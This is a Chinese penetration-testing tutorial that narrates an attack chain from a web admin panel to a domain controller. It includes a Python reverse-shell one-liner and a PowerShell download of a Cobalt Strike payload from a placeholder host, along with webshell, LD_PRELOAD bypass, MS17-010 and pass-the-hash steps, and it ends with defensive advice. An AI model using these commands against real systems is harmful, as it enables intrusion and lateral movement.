细说渗透江湖之披荆斩棘
字数 1842 2025-08-15 21:32:37
渗透测试实战教学:从Web渗透到内网横向移动
1. 信息收集阶段
1.1 基础信息收集
- 端口扫描:识别开放端口和服务
- C段扫描:检查同一IP段的关联系统
- 指纹识别:使用工具如whatweb识别CMS版本
- 路径枚举:通过目录扫描发现隐藏路径
- 搜索引擎利用:使用FOFA等网络空间搜索引擎
- 代码泄露检查:Github、网盘等公开代码仓库
1.2 403页面突破
- 直觉判断403页面可能隐藏内容
- 使用目录爆破工具扫描潜在路径
- 成功发现/admin后台管理目录
2. Web应用渗透
2.1 后台登录突破
- 指纹识别:确认CMS为最新版本,无已知漏洞
- 弱口令爆破:
- 初始字典尝试失败
- 结合客户信息生成针对性字典(人名+键盘模式密码)
- 成功获取后台凭证
2.2 文件上传绕过尝试
- 测试正常文件上传功能
- 尝试多种PHP文件上传绕过技术:
- 双写绕过
- 大小写变异
- 垃圾字符填充
- 截断攻击
- 换行符注入
- 双filename技巧
- 均失败,转向代码审计
3. 代码审计与漏洞利用
3.1 发现SQL执行漏洞
- 定位关键文件:
app/system/databack/admin/index.class.php - 漏洞位置:第581行备份数据功能
- 漏洞原理:恶意SQL文件上传并执行
3.2 获取绝对路径
- 通过JS文件搜索"path"关键字
- 成功获取网站绝对路径
3.3 SQL写Webshell
- 构造恶意SQL文件写入一句话木马
- 上传冰蝎连接工具
- 发现命令执行被禁用
4. 绕过disable_functions
4.1 环境分析
- 查看phpinfo发现禁用函数列表:
passthru,exec,system,chroot,chgrp,chown,shell_exec, proc_open,proc_get_status,popen,ini_alter,ini_restore, dl,openlog,syslog,readlink,symlink,popepassthru - 关键发现:putenv未被禁用
4.2 LD_PRELOAD绕过技术
-
基本原理:
- 利用Linux的sendmail程序
- PHP mail()函数调用/usr/sbin/sendmail
- sendmail调用getuid()
- 通过LD_PRELOAD劫持getuid()
-
必要条件:
- PHP支持putenv()和mail()函数
- 系统已安装并启用sendmail
-
实施步骤:
- 上传恶意.so文件(bypass_disablefunc_x64.so)
- 上传执行命令的PHP脚本
- 通过环境变量注入实现命令执行
5. 内网渗透初探
5.1 建立持久访问
- 使用Python反弹shell:
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("xxx.xxx.xxx.xxx",port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]);'
5.2 MSF框架使用
- 设置本地HTTP服务传输elf木马
- MSF监听并获取meterpreter会话
- 内网路由配置:
run get_local_subnets # 获取网段信息 run autoroute -s xxx.xxx.xxx.xxx/24 # 添加路由 run autoroute -p # 查看路由表
6. 内网横向移动
6.1 MS17-010漏洞利用
- 初始利用失败,更换payload:
set payload windows/x86/shell/bind_tcp - 成功获取内网机器权限
6.2 Cobalt Strike部署
- 通过PowerShell下载:
"(new-object System.Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx:port','C:\Windows\system32\')" - 遇到连接问题排查:
- 防火墙规则配置:
netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=6666
- 防火墙规则配置:
6.3 密码哈希攻击
- 抓取NTLM哈希
- 使用Pass-the-Hash(PtH)技术横向移动
- 获取多台Windows主机权限
7. 域渗透技术
7.1 域环境发现
- 基础命令:
net time /domain ipconfig /all nslookup 域名 - 确认域控存在
7.2 域控攻击路径
- 检查Kerberos漏洞(如MS14-068)
- 抓取域管密码哈希
- 成功登录域控制器
8. 关键工具总结
| 工具/技术 | 用途 |
|---|---|
| Dirbuster/dirsearch | 目录扫描 |
| WhatWeb | Web指纹识别 |
| Hydra | 弱口令爆破 |
| MSF | 漏洞利用框架 |
| Cobalt Strike | 内网渗透 |
| LD_PRELOAD | 绕过disable_functions |
| PtH | 哈希传递攻击 |
9. 渗透测试关键原则
- 信息收集是核心:贯穿整个渗透过程
- 多层突破思维:当一种方法失败时尝试替代方案
- 权限维持意识:确保获得的访问不会轻易丢失
- 横向移动策略:由外向内逐步深入
- 痕迹清理:完成后清除攻击痕迹(本文未展示)
10. 防御建议
-
Web应用层:
- 严格文件上传过滤
- 后台管理多重认证
- 禁用不必要的PHP函数
-
系统层:
- 及时修补MS17-010等漏洞
- 限制命令执行权限
- 监控异常进程
-
域环境:
- 启用LSA保护
- 限制域管理员权限
- 监控Kerberos异常请求
-
网络层:
- 实施网络分段
- 监控内网横向流量
- 限制出站连接
本教学文档完整还原了一次从Web渗透到内网域控的完整攻击链,涵盖了多种渗透测试技术和工具的使用方法,可作为高级渗透测试实战参考。